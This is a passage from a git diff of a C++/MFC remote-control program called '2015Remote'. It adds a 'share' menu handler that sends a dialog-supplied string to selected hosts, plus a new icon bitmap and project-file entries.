目标主机类型 + bToken[1] = SHARE_TYPE_YAMA; + memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength()); + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 2cb9dea..7bd8e06 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -79,7 +79,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; - CBitmap m_bmOnline[3]; + CBitmap m_bmOnline[4]; afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); void Release(); @@ -120,4 +120,5 @@ public: afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); + afx_msg void OnOnlineShare(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 7dadcaf..63b477d 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -301,6 +301,7 @@ + diff --git a/server/2015Remote/res/Bitmap/Share.bmp b/server/2015Remote/res/Bitmap/Share.bmp new file mode 100644 index 0000000..5f656fc Binary files /dev/null and b/server/2015Remote/res/Bitmap/Share.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index c286772..8d759f3 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ